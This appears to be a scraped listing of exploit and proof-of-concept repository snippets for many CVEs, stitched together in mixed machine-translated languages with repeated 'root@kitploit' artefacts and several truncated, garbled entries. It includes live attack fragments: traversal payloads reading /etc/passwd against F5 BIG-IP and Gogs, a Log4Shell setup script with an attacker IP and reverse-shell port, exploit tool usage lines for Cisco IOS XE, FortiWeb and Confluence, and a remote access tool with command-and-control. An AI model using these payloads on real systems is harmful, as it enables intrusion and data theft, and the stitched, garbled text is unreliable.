CVE-2026-81302

CVE-2026-81302 is currently a reserved candidate with no publicly disclosed technical details. The only record is a sighting linked to JVN (Japan Vulnerability Notes). Monitor for updates as the reserving organization publicizes the vulnerability.

CVE-2004-1561

CVE-2004-1561 Icecast Header Overwrite desbordamiento de búfer RCE Actualización para 568-edit.c Conseguí que funcionara el . Editado según...

CVE-2023-20198-RCE

Fofa root@kitploit: body="window.onload=function url ='/webui';window.location.href=url;" && ishoneypot=false && isfraud=false 用法 root@kitploit: usage: CVE-2023-20198-RCE.py -h -u URL -p PROXY -au ADDUSER -ap ADDPASS -du DELUSER -pm PRIVILEGEMODE -em EXPLOITMODE -oc OSCMD -cc CLICMD...

CVE-2025-25257-Exploit-Tool

CVE-2025-25257 エクスプロイトツール クレジット root@kitploit: Based on watchTowR Labs, 0xbigshaq, and pwner.gg analyses. 警告 root@kitploit: For educational purposes only. Use on authorized systems. Modifies database/filesystem. Fortinet FortiWeb の CVE-2025-25257（事前認証 SQL インジェクションから RCE に至る脆弱性）を検出および悪用するための拡張...

CVE-2018-14667-poc

CVE-2018-14667-poc Entorno de vulnerabilidad Richfaces y PoC Campo de pruebas: el paquete war en vulenvironment se puede colocar directamente en tomcat PoC root@kitploit: build:build artifactId run:java -jar CVE-2018-14667-poc.jar "cmd" about debug Descomprima el war en el directorio...

CVE-2023-40355

🚨 CVE-2023-40355 チェッカー CVE-2023-40355 チェッカー へようこそ！このPythonスクリプトは、WebアプリケーションにおけるCVE-2023-40355の脆弱性をテストするために設計されています。 📋 説明 Axigen バージョン 10.3.3.0 10.3.3.59未満、10.4.0 10.4.19未満、10.5.0 10.5.5未満 におけるクロスサイトスクリプティング XSS の脆弱性により、認証された攻撃者が Standard バージョンと Ajax バージョンを切り替えるロジックを介して任意のコードを実行し、機密情報を取得する可能性がありま...

Article-RegreSSHion-CVE-2024-6387

RegreSSHion CVE-2024-6387：OpenSSH 中的严重远程代码执行漏洞 在数字安全至关重要的时代，OpenSSH 中一个被标识为 CVE-2024-6387 的新漏洞引起了全球系统管理员和安全专业人士的关注。这个名为 "regreSSHion" 的严重安全缺陷允许远程代码执行 RCE，并对易受攻击系统的完整性构成重大威胁。...

CVE-2021-44228-Log4Shell-

CVE-2021-44228-Log4Shell- 侵入テスト 1. 悪意のあるLDAPサーバーの作成 Marshalsec使用 root@kitploit: !/bin/bash Script: startldapserver.sh Yêu cầu: Cài đặt Java và Marshalsec https://github.com/mbechler/marshalsec LDAPPORT="1389" HTTPPORT="8000" ATTACKERIP="192.168.0.101" REVERSEPORT="5555" echo "+ Khởi động LDAP...

CVE-2018-18925

CVE-2018-18925 利用 CVE-2018-18925 对 Git 自托管工具 Gogs 进行远程代码执行。 Gogs 基于 Macaron 框架。其用于管理会话的系统与 PHP 非常相似。Cookie 中的会话标识符映射到文件系统上的一个文件。当 Web 服务器收到带有会话标识符（作为 Cookie）的请求时，它会在文件系统上查找该文件。 该漏洞是在检索文件系统上用于会话的文件时存在简单的目录遍历。例如，您可以将 ilikegogits Cookie 设置为 ../../../../../../etc/passwd，从服务器获取错误信息。 利用方法：...

CVE-2023-33733

CVE-2023-33733 Reportlab 库 - 远程代码执行...

CVE-2024-4577

La herramienta de explotación más rápida para CVE-2024-4577 Descripción: Ejecución remota de código en PHP CGI La herramienta de explotación CVE-2024-4577 exploit.py es un script de Python diseñado para explotar una vulnerabilidad específica de los servidores web CVE-2024-4577. Basándose en el...

CVE-2020-12077

CVE-2020-12077 MapPress Maps Pro "...

Log4j-RCE

Log4j-RCE Log4j RCE - CVE-2021-44228 ¿Cómo ejecutarlo? root@kitploit: php log4j.php https://1337.com Requisitos PHP CURL PAYLOAD DNS LOG Collaborator de Burpsuite o usa dnslog.cn Lista de Payloads root@kitploit: $ctx:loginId $map:type $filename $date:MM-dd-yyyy $docker:containerId...

Apollo

Apollo 一个用 Python 编写的简单、轻量级的远程访问工具 Apollo 是一个跨平台（Windows、Linux、FreeBSD 和 MacOS）的远程访问工具，适用于 Python 3.4+。其功能目前非常基础，但允许在后期利用阶段执行远程代码，并获取客户端系统的信息，将其报告回命令与控制服务器。 功能 能够同时控制多个客户端 跨平台（Windows、Linux、FreeBSD 和 macOS） 使用 AES-256 加密的 C2 通信，并带有 D-H 密钥交换 接受多个客户端的连接 远程命令执行 标准 Linux/Unix 工具（cat、ls、pwd、unzip、wget...

CVE-2020-5902

CVE-2020-5902 在 BIG-IP 版本 15.0.0-15.1.0.3、14.1.0-14.1.2.5、13.1.0-13.1.3.3、12.1.0-12.1.5.1 和 11.6.1-11.6.5.1 中，流量管理用户界面（TMUI，也称为配置实用程序）在未公开的页面上存在远程代码执行（RCE）漏洞。 概念验证 root@kitploit: https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd root@kitploit:...

CVE-2024-25600_Nuclei-Template

CVE-2024-25600Nuclei-Template CVE-2024-25600 に関する Nuclei テンプレートと PoC の情報 説明 📝 WordPress 用の Bricks テーマは、バージョン 1.9.6 までのすべてのバージョンにおいてリモートコード実行の脆弱性があります。これにより、認証されていない攻撃者がサーバー上でコードを実行できる可能性があります。 このテンプレート 🛠️ は、nuclei を使用して WordPress 用 Bricks Builder プラグインに見つかった CVE-2024-25600 の脆弱性 🕳️...

CVE-2022-26134

pip3 install -r requirements.txt 使用: python3 exp.py url "cmd" 示例: python3 exp.py http://192.168.1.1/ whoami...

CVE-2025-49113

CVE-2025-49113 RCEエクスプロイト このエクスプロイトでのユーザー名/パスワード認証の方法は4つのステップで構成されています コードは少し乱雑です...

CVE-2023-27524-Apache-Superset-Auth-Bypass-and-RCE

CVE-2023-27524: Apache Superset 認証バイパスとRCE Apache Supersetは、データの可視化と探索に広く使われているオープンソースツールですが、認証バイパスやリモートコード実行（RCE）につながる可能性のあるセキュリティ上の脆弱性が確認されています。これらの脆弱性により、悪意のある攻撃者が標的のサーバー上で管理者権限を取得し、ユーザー認証情報を収集し、データを侵害する可能性があります。 問題となっている具体的なセキュリティ問題は、CVE-2023-27524として参照される安全でないデフォルト設定の脆弱性です。...

CVE-2025-55579

CVE-2025-55579 - SolidInvoice 税率功能中的存储型跨站脚本（XSS） 概述 SolidInvoice 的税率功能存在存储型跨站脚本（XSS）漏洞。已认证的攻击者可以向应用程序注入任意 JavaScript，并随后在用户的浏览器中执行。 受影响版本 受影响版本： 2.3.7 已修复版本： 2.3.8 影响 利用该漏洞，恶意用户可在应用程序中存储任意 JavaScript，并在查看 税率 页面的其他已认证用户上下文中执行。如果应用程序部署在多用户环境中（例如有多个管理员），则可能导致： 会话劫持 凭据或令牌窃取 钓鱼或社会工程攻击 以其他用户身份执行任意操作 概念...